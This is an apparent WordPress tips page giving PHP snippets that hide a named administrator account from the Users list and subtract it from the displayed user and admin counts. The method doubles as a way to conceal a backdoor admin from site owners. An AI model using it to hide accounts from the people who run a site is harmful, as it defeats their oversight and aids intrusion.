Need an SEO Expert? Get Your Free Strategy Session?
Skip to main content

security

How to Hide the WP administrator Account from the list of Users in the Admin

Est. reading time: 2 minutes

Quick Answer: The WP snippet Function code below hides the user with username XXXXXX from the list of users on your WordPress website (Users >> All Users).

The WP snippet Function code below hides the user with username XXXXXX from the list of users on your WordPress website (Users >> All Users). Of course, you need to change both instances of XXXXXX to the username of your choice.

Copy this code into your theme’s functions.php file. You can find your theme’s functions.php file in folder /wp-content/themes/your(sub)theme/ on your site’s server.


//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

if ($username == 'XXXXXX') {
}

else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'XXXXXX'",$user_search->query_where);
}
}

Funny thing is, the code snippet still shows your account when you are logged in, but hides it from other users.
Change the number of administrators on the site

The code above hides the selected admin account itself from the list of users. However, the number of users (All) and the number of admins (administrator) in the left corner above the user list will still include this account. This might tick off certain site owners.

Luckily, it’s not too difficult to solve this. Though I’ve seen numerous solutions that just got rid of the counts altogether, this code takes both numbers and subtract 1. Place this code in the functions.php below the code snippet above.


//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')';
$views['all'] = '' . __('All') . ' (' . $all_num . ')';
return $views;
}

Using both snippets will hide the selected administrator account from the site user’s view.